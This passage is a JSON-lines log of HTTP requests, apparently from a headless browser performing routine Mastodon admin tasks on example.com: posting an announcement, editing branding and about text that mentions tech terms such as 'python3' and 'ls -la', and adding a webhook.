_mastodon_session=zASPRkwCVZXDwzqk3Yo8SiXqxP8Uh3diTsfgZYLJy3kfJAesBfC%2FqtoZXE6%2FeOdKax2AM%2FLFGS%2F6cnGCVSYNsQRaEJgbeNrN%2B00YSDqO2V6wTCjESYwrpxKNeP9W3rBgQt5sfKSGvc6wu2Lsk4W9ej2DfmLrcQzH6EeEuyVCpncB3U5I%2FbEBKVfhgHOareUSXu9p9Zh603uXYyL1o79Evox2UNU6i6lxbR435XuPK9eRv1TR5jz%2BpxV6t3HOArrXyHwvwZSiKtx2zhjTEknIs8I%2B2qIJmH8TOGlXPNbFWRQZaWYjKa61HLAWKsXFSsZFKB2iEJKYadQfhE7DXOMR6p7k%2FgG7uIwaCt11LYHmNgwQodnnjxhUBq1ZBZSq7loeAXMGN2TrXFJx--W4li6by68qd3ZFPL--Zy59buBau0tOfskoMaqr4g%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/polyfills-BO_K2Jdc.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/rules", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuNDMzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--27cca1c866f1db79a27e9e0deba8a8f2f268ea0c; _mastodon_session=C4NAubBD8YJPam%2BezzYeJcKw6wH%2FvHhRvYl2K2%2BCAO3wNSn4wVJnOXBmoNorFjcacrBp5FT6Tfv%2FPq1Wi6NjBFIrkctu1%2Fwsnf1W41lWPr59cQq%2FHq1VD8P%2Flly0hYZY4Ab2SEkUa8V7CcfXSbfd%2B6Pb5DJpYWEC9wWedrFMi9NyKTiTwvaiJrNYNREyuMKXqUbD1raUXc5Jo1ZZ3ay1ERMiJYcV94w3Q8FEg%2Bwvhe1TW0ilpMVPKCoYok7iCCxS2mAtj0RCAFE3i3YizRbuXNqemfClEHOJwL44QzyG7yvdrKluKhhMkMhLhd0GdnbnThGCdwP9J3FOHwyEsXBigXmMHGb2CBWD0Yb2gigyl3XqKuoSDfQq%2BKJy%2BOxtOGkMXOLegdqpqtm1--FAQ4xdI4FzAXKdgH--jOD5qAAaJmKgLrpLuk0MKw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/announcements/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuNDMzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--27cca1c866f1db79a27e9e0deba8a8f2f268ea0c; _mastodon_session=C4NAubBD8YJPam%2BezzYeJcKw6wH%2FvHhRvYl2K2%2BCAO3wNSn4wVJnOXBmoNorFjcacrBp5FT6Tfv%2FPq1Wi6NjBFIrkctu1%2Fwsnf1W41lWPr59cQq%2FHq1VD8P%2Flly0hYZY4Ab2SEkUa8V7CcfXSbfd%2B6Pb5DJpYWEC9wWedrFMi9NyKTiTwvaiJrNYNREyuMKXqUbD1raUXc5Jo1ZZ3ay1ERMiJYcV94w3Q8FEg%2Bwvhe1TW0ilpMVPKCoYok7iCCxS2mAtj0RCAFE3i3YizRbuXNqemfClEHOJwL44QzyG7yvdrKluKhhMkMhLhd0GdnbnThGCdwP9J3FOHwyEsXBigXmMHGb2CBWD0Yb2gigyl3XqKuoSDfQq%2BKJy%2BOxtOGkMXOLegdqpqtm1--FAQ4xdI4FzAXKdgH--jOD5qAAaJmKgLrpLuk0MKw%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 308", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/announcements/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDYuMzM4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2fa1141b943b5e47a82df7250b4f9fbba8b5af30; _mastodon_session=3r95%2BUmpz40KbRC0GGE0c61esQPfZkznJaR8lXejOEnaV9Tiekb8oJAiNxAFsRyxeaKIEeg7SOq%2FONhIUQI0PomoAeQnbQGm4%2FM6aXw7uVN3ARyzz2bVW0eVmJBpD96rNRIsYDn5LtvCH%2BjR5o9MioAekmxoBY9XxWRryyn%2F3OyqrB038q65KnH6vRuubSXTvuRjZbiwTI3kT%2FyM5cwwXhrYNJM3nnCOFOuS0r9EARMyILae51euD3F%2BQ674x4ipczL03Hx%2Fsak4cJ7rj4fUda5rhbEU4AWhT1QnZfLfg0lMTUdCW17IUbBaMLE3rCQ3JPqeymp4xXONYhGL8vY%2FvKjZzzWeipfD9ZklWDMa%2FEi3Ox9ynkgpaIhBm05LptF%2BpFYtEMGWNugT--%2FgY4P7hwpd96Ltw9--WC4a%2BiCCq0%2B0RIVnJF%2FY6A%3D%3D"], "body": "authenticity_token=xVadhg4Y_iKoHFT95qnCai4mq0HvrsR7i2wkL7JbVuDoZQWRyEJxwEgeaUlASzpPM5ZdKPhpA1_AWu6Sdq_Nkg&announcement%5Bstarts_at%5D=&announcement%5Bends_at%5D=&announcement%5Ball_day%5D=0&announcement%5Btext%5D=Maintenance+tonight%3A+python3+upgrade%2C+ls+-la+checks&announcement%5Bscheduled_at%5D=&button="}
|
||||||
|
{"method": "GET", "target": "/admin/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/announcements/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDkuMzgzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3d67c8f8127fa5e75497be9d601bfb3e4ea22e08; _mastodon_session=ktF%2F8m62uGVKKe6ITzjOqlOOw4gRGyvFYv%2Bd2Hv%2BLth0mPAMoUbtsKQpO%2FPlJstLfFIupZ3ElFTLewz84MbNOM%2FAKLns0QLxM40Y7%2FBTBtxi4akMVqQPaI8PYs5MmLehBZDBkgQlMX%2B7qXrLEuKRjoBNGSQE24WjRnGprUGdCqGPy3SNuoi7q%2FbvFbNklQmAPebUDE9QRYa%2BCjk1nuI5wi3pz0KqyZPokzVbnebfxbj1zETgSyIjbDHS2k7DSYX9SZCHCVskxqbiBDi6EB8HRmKiMqzdybjHMJNjZplYfJhrcQHCBKsAd31w3zqT37G4S%2BgYzcluHrPYJi2cDIDkKgqYEKV8DL5eJX6tUE0ydo52KXq7UyPVnocHGYty7fu22ecOYTaZDHAEuz0bDnAnAvKNRv7ldxvsMyjENiBsTl%2BL8%2FGtU2T6W686c%2FMsBAUW6Ibgff30Y6bzhQr0lRdqskyBJL5ExKnCpJZkCywDwsuoloe1tUoZbgzX%2BUjW%2FRM99HNap%2B7RxpMhFWq16daBm4UbaLMYg0S%2FWg%3D%3D--vYfUJzVf590%2By35c--IvJ81SLwqpE6OZ1FO3W2Gg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/branding", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDkuNDA5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b9a396fd330755ae1bcc67de6c50a72fa6317441; _mastodon_session=b6QexfHqbwiAR0Dc0HG7whPfglqxYoOXVlBmmkM6ap1xULNY7YsuDxQUOYpRRNF0o4xf%2BuudcdpLIaLVG1a9nh5jNmK5qeFx45bWpiCP9go5xEtK7DspefKq1tvamqxr%2BB%2BTYwhSZPiICbNwuwEbgKa2dp%2BukKv9SHnMz5yMt6hlPZnc6IiIxzjAmGJVhpDYPu6EoZfDsHJ0Mb1VZimHZZOyYtn2CQikONZfCDfD747uEkig%2FcjVeM8w7MJwE%2BTYTA05HIL7RmhPZh7FjvPJubekwPORazd3Q%2BUeVIAE%2FMGavBBQgvXkXwsY%2BSISS8VHtm13tVG%2B0oDRLnAM6E2HEfhgbZpoSetGBeTQ6fK2mb2sxvnDzfUhtlfeWWDAMSPr3RK0iJr3JF2A--BPOl15QO5rUWNWum--pP1nRAy%2Bq%2BYrefS2BjfHng%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/settings/branding", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1760", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBus0dNQxdGU0ymA8", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/settings/branding", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDkuNzMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--37e4c63f47333c5d904e889e86fb89cff6a3b908; _mastodon_session=El0%2Bunihpv5oKmWEYqYL3CCkDYclpcA%2Bo8LPjwOrQ%2Fhq7WoJoe6OkPy7qmVVKSvR62qvfs9xK7AIbfOL0wWM5my2bJxl1Tu7YH%2FtjCdkDMhDIVeTx63yp%2Bh9s2CeWqRGhgc4ro9gFDBBfoeBSi9Ayp7AjMhN2UjBlDPGHR6z6XCrKGVWfRB%2Bb1P8su9cZy7CiOIP21TK7vz76glcMufzsuy4HKQYc0O4zyDOjPeYIFwGWIBzJm8iWpXYfE2F3ebtfpFvIsw7wgdgtkM4fQt1ZLLmISwF%2FBj7kZYyZgus2K%2FKj52kHLlnaMT4ym4r37raIAZ%2FxvBOSEKWRisxS5MV7IyyRiSPqtZjTdLpZUGgURq0wsPW0Qexa659O6msNlnMuCblcsvZmPeO--UyO29PyGZYx97Pa7--bQ9lbi8brnPGxR%2BFQgI5Lg%3D%3D"], "body": "------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"_method\"\r\n\r\npatch\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"authenticity_token\"\r\n\r\nRTJLo-YR6R8Y3S4H3-X2c8AlL-EIh8OiI5lasSjHmPDX3JQW8zPV-8lclHQxwpMq60k-w0TgqKZfGi-KKpt6tw\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_title]\"\r\n\r\nPython3 social\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_contact_username]\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_contact_email]\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_short_description]\"\r\n\r\nA place to talk about python3, powershell, ls -la and .htaccess\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[thumbnail]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[favicon]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[app_icon]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[landing_page]\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[landing_page]\"\r\n\r\ntrends\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"button\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8--\r\n"}
|
||||||
|
{"method": "GET", "target": "/admin/settings/about", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTIuNjk3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--22debca1da960bffd82aac01ac0c941aa52792f4; _mastodon_session=1GEZphvi3cCHiYcW%2BChp%2FlHgy2qzbgVdsefvbMMxqunxRJd8LJr8JswyxEWOycAwXN5T0P%2BLPobx96DsoxAi8mq6aUH3Y2eefzIZTCn99wbeiBcC4X5kWXLjw5Axa5fmXrpg51YK3okjCc9IVdGln6e%2BUZDuK2xMFrV9yOZVhsfRVtl2uNM98jhPgZ3EsYA1ZYYw0XxyIUOUDrKJxOV4z6LXPJrw4K0J0qM0dAdY%2BxPKHXWmnSltttrnoN1YcevxXICcQO6r0XZ3qDgYfyI0Sc%2BkwR8LhJxjZk5x%2B5M7tQQFNipm7YQPrSV1M6Glow1AYnH9b9InOguYfQDW0BWQqrreXxc9x7IGs2IzDfrBy%2F02dZ9FWi56Y4ZHJoRTrt1c5VmxN9avfgCx--pAMFdO38T4YBeP32--kt0DSSb4rWxgxJhOQftJ5g%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/sw.js", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept: */*", "Service-Worker: script", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/settings/about", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 434", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/settings/about", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTIuODU0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a2bc783846af8fe17b646fc75c47e7491d2406bf; _mastodon_session=icNQY%2BOCGkQr4lvvFf8UNa383HXxXz9Vk%2Ft4C3h2b2amjNZqMvWjv%2BMYZ5PWt%2Fu%2BPtNEUVCQRVMYfZBvpfvH6f835bSkn3GceMC7j0v8wvRP1tpx5EZ77NMnhKZLODPLP3a2JtZDUMuUjS9sgQAaBjKpxEbc95g4hM1ZMc9U8gKCvXagz4Opdvyq8foLpi%2FgBi5SqPb8SEmZILIufJkz8RDJo0snrresnU%2BgiUDtnJuSIVeMlZ2zNAE4CFrTb%2FhCEisaMEYLcv33OQ%2BaqOszFUUYNqutGTdoTrWIy2mmEqGJKndhw9iykV2m0XJmJX2s80uaSRMVwB2qutrzVWSgy6foEpmSTWPMgSzoY8aTB5ZD6fMRjoHyLii5%2BJQAa9xd23Ennd1AsAuX--sj4C8klsQKipC4C4--F6l0746V9zwTdjJ7TrAGlA%3D%3D"], "body": "_method=patch&authenticity_token=90-kdU6RqtN84sEbG09d3FjkfFi2xlViFjnBvCoEPTYGLpu5V1rIBrDMgLJ3VlEdXqUnrAJCZbeyn1BTE4jE0A&form_admin_settings%5Bsite_extended_description%5D=We+talk+about+python3%2C+powershell%2C+ls+-la+and+.htaccess.&form_admin_settings%5Bshow_domain_blocks%5D=disabled&form_admin_settings%5Bshow_domain_blocks_rationale%5D=disabled&form_admin_settings%5Bstatus_page_url%5D=&form_admin_settings%5Bsite_terms%5D=&button="}
|
||||||
|
{"method": "GET", "target": "/admin/webhooks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTUuNTY3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7ad4936650dd58a025dc3da70b543ef0a1055f60; _mastodon_session=3ix7xk5UiIlbEU%2F89duZ51TbMh2dvzC8BmPfEVtqkqQlbEz18fVBzrRc7kE5KCH7pw5XHkS67gCdvIDxg5WIfKA4FJxYaqiQKyUKpYm9kOpDYIkSTGu142eiY5mSWJc6VvoZATUmxLdNIgoDlvFmBot85A%2BOIJ2Tm0DbYDyPjN5IfUMigWZH8bdSO7EcUQR9oNDQJUguUkcuuW8MTri4YEPZB8EKqJ%2BYaw4gMVFOXojAoWVshKoZwC6M4iFViyCKaHHWk2cAoPvWJvKhCqL0lqZob%2BxDQtHIuQAyT62AKTsn%2FjTOFRW0C5j2jS88ECxQBb1IRdljubi8wLWadyD1A%2F4gNd7tNBFB0%2F0qYuKC9QpQbDQ%2BdN6jc1boanMcq3xjO%2BlxOGdchRW8--CW7uuAKR3ecZDNLs--SjXc9nWdMvQYuhtDRBlIhA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/esm-DrOrXu-Y.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/webhooks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTUuNjYzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--44ca990094674afcaea00d1827cbae19f404fb75; _mastodon_session=DHZdf2rm8Fee%2B8E%2BaNohpWRgBdZX%2BNMnbXDf0c%2Bn7QPr%2FMbjt98sl5nEnqxIEJMKaWQqEvzgxtiBsoy8z%2BZkYlI4apBDDlSgk6J4sjqbkaA8d%2B%2Fc%2F9bh8FNoXT6mHR%2Fhp8prdwYYUYqPfopbBi6M%2BQKGsFAstGAsCTS4f5ZjKDEBmEyytHeUbWuEUnp9Y7bbHp7k3y64lATb1m0RydI3z0ujx1h4qRNdlu11xR4%2FBpYJNnCWljxKzWECns0ncUAaniMZktdJm57lvdSxxsOoRuH0QUIH0qU68jTENyv6Ww1KecVDyC5lDvHXPdx3M1HjGYYW5OTdNc%2F4BKUXcOtFLwKLI1jNxpwEEKMWhgm3hQfFTJxOniKNae%2Bc5OYBUCkYkFdXIV4gokM3--AZcshY7b6cSyrDdi--T2FuS%2BFuZaS9R7vEc3iQWQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/webhooks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 264", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/webhooks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTUuNjYzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--44ca990094674afcaea00d1827cbae19f404fb75; _mastodon_session=DHZdf2rm8Fee%2B8E%2BaNohpWRgBdZX%2BNMnbXDf0c%2Bn7QPr%2FMbjt98sl5nEnqxIEJMKaWQqEvzgxtiBsoy8z%2BZkYlI4apBDDlSgk6J4sjqbkaA8d%2B%2Fc%2F9bh8FNoXT6mHR%2Fhp8prdwYYUYqPfopbBi6M%2BQKGsFAstGAsCTS4f5ZjKDEBmEyytHeUbWuEUnp9Y7bbHp7k3y64lATb1m0RydI3z0ujx1h4qRNdlu11xR4%2FBpYJNnCWljxKzWECns0ncUAaniMZktdJm57lvdSxxsOoRuH0QUIH0qU68jTENyv6Ww1KecVDyC5lDvHXPdx3M1HjGYYW5OTdNc%2F4BKUXcOtFLwKLI1jNxpwEEKMWhgm3hQfFTJxOniKNae%2Bc5OYBUCkYkFdXIV4gokM3--AZcshY7b6cSyrDdi--T2FuS%2BFuZaS9R7vEc3iQWQ%3D%3D"], "body": "authenticity_token=ncYD7puSoXHWbZGvU7Kfo3RSArdOAlBufNayqH9w9s9Onu1Hpd3xzqokP0tA8eh7g1io8VSL9_nndxv8qWIfqQ&webhook%5Burl%5D=https%3A%2F%2Fhooks.example.org%2Fpython3&webhook%5Bevents%5D%5B%5D=&webhook%5Bevents%5D%5B%5D=account.created&webhook%5Btemplate%5D=&button="}
|
